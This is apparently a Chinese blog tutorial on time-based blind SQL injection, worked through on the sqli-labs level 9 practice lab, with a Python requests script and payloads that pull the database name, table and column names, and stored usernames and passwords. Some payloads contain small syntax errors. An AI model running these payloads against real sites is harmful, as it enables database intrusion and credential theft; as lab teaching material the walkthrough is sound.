目录
简介
盲注就是在sql注入过程中,sql语句执行的选择后,选择的数据不能回显到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。
对于基于时间的盲注来说,我们构造的语句中,包含了能否影响系统运行时间的函数,根据每次页面返回的时间,判断注入的语句是否被成功执行。
基于时间盲注常用函数
if()函数
语法结构
if(表达式,结果1,结果2)
上述代码的意思是如果表达式成立,执行结果1。反之执行结果2。
sleep()函数
语法结构
sleep(number)
number是多少满足结果后就延迟几秒执行结果
注入常用结构
select * from 表名 where id = 1 and if(表达式,sleep(3),1)
如果执行结果在3秒后执行说明表达式中的内容为真
例子
实现环境
sql-lab靶场第9关
注入步骤
首先进行注入点判断
在输入了id = 1‘ id=0’后页面返回的都是You are in ........
尝试时间盲注,发现执行延迟到了两秒后,所以存在注入点并且闭合方式为‘
爆数据库名
在一个个尝试以后终于爆出了一个数据库名的一位是s步骤有些繁琐。下面借助脚本来进行以下步骤
"id":"1' and if(ascii(substr(select group_concat(table_name) from information_schema.tables where table_schema='security',%d,1))=%d,sleep(0.5),0)-- "%(i,j)
借助脚本爆数据库名
import time
import requests
def database():
name = ''
for i in range(1,20):
for j in range(32,128):
payload = {"id":"1' and if(ascii(substr(database(),%d,1))=%d,sleep(0.5),0)-- "%(i,j)}
start_time = time.time()
res = requests.get(url,params=payload)
end_time = time.time()
if end_time-start_time>=0.5:
name = name+chr(j)
break
print(name)
url = 'http://127.0.0.1:9002/sqli-labs-master/Less-9/'
database()
爆出列名表名只需要修改payload语句就行
爆出表名的payload语句
"id":"1' and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),%d,1))=%d,sleep(0.5),0)-- "%(i,j)
爆出列名的payload语句
"id":"1' and if(ascii(substr((select group_concat(columns_name) from information_schema.columns where table_schema='security' and table_name = 'users'),%d,1))=%d,sleep(0.5),0)-- "%(i,j)
爆出数据
"id":"1' and if(ascii(substr((select group_concat(username),group_concat(password) from security.users),%d,1))=%d,sleep(0.5),0)-- "%(i,j)
不嫌弃的点点关注,点点赞 ଘ(੭ˊᵕˋ)੭* ੈ✩‧₊˚